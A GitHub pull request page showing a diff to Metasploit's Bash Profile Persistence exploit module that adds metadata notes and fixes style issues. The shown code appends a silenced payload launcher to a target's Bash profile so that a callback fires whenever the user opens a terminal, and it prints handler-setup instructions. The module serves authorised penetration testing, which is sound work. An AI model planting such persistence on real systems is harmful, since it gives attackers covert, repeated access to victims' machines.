Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

bash_profile_persistence: Add notes and resolve rubocop violations #15986

Merged
merged 1 commit into from
Dec 28, 2021
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 13 additions & 10 deletions modules/exploits/linux/local/bash_profile_persistence.rb
Original file line number Diff line number Diff line change
Expand Up @@ -15,12 +15,10 @@ def initialize(info = {})
info,
'Name' => 'Bash Profile Persistence',
'Description' => %q{
"
This module writes an execution trigger to the target's Bash profile.
The execution trigger executes a call back payload whenever the target
user opens a Bash terminal. A handler is not run automatically, so you
must configure an appropriate exploit/multi/handler to receive the callback.
"
},
'License' => MSF_LICENSE,
'Author' => [
Expand Down Expand Up @@ -48,7 +46,12 @@ def initialize(info = {})
},
'References' => [
['URL', 'https://attack.mitre.org/techniques/T1156/']
]
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
}
)
)

Expand Down Expand Up @@ -92,27 +95,27 @@ def exploit
# write payload trigger to Bash profile
exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null
append_file(profile_path, exec_payload_string)
print_good("Created Bash profile persistence")
print_status("Payload will be triggered when target opens a Bash terminal")
print_good('Created Bash profile persistence')
print_status('Payload will be triggered when target opens a Bash terminal')
print_warning("Don't forget to start your handler:")
print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")
end

# create a backup copy of the target's Bash profile on the local system before persistence is added
def create_backup_file(backup_profile)
begin
hostname = session.sys.config.sysinfo["Computer"]
rescue
hostname = cmd_exec("hostname")
hostname = session.sys.config.sysinfo['Computer']
rescue NoMethodError
hostname = cmd_exec('hostname')
end

timestamp = "_" + ::Time.now.strftime("%Y%m%d.%H%M%S")
timestamp = '_' + ::Time.now.strftime('%Y%m%d.%H%M%S')

log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp)

::FileUtils.mkdir_p(log_directory_name)

log_file_name = log_directory_name + "/Bash_Profile.backup"
log_file_name = log_directory_name + '/Bash_Profile.backup'
file_local_write(log_file_name, backup_profile)
return log_file_name
end
Expand Down